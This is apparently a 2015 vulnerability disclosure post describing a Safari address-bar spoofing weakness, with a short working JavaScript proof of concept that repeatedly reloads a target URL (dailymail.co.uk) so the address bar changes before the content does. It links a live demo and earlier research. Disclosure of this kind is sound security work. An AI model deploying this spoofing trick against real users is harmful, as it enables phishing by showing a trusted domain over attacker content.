Impact: "It works on fully patched versions of iOS and OS X" Reference: http://arstechnica.com/security/2015/05/safari-address-spoofing-bug-could-be-used-in-phishing-malware-attacks/ Code(JavaScript): function f() { location="http://www.dailymail.co.uk/home/index.html?random="+Math.random(); } setInterval("f()",10); It's online: http://www.deusen.co.uk/items/iwhere.9500182225526788/ How It Works: Just keep trying to load the web page of target domain. Safari changes address bar to new URL, BEFORE new content is loaded. History Michal Zalewski pointed out the weakness is five years old(at least): http://lcamtuf.blogspot.com/2010/06/yeah-about-that-address-bar-thing.html "Safari... always showing the new destination... can be deceptive" We pointed out his Safari code does not work in real attack... If you change "http://1.2.3.4/"; in your Safari code: some URL in the real world(for example, dailymail.co.uk). Your code won't work(page of target domain is simply loaded). Conclusion: The weakness is very old. Deusen's method to use this weakness is new. Kind Regards, __________ BestSec http://www.deusen.co.uk/items/bestsec/ We like it. We read it.
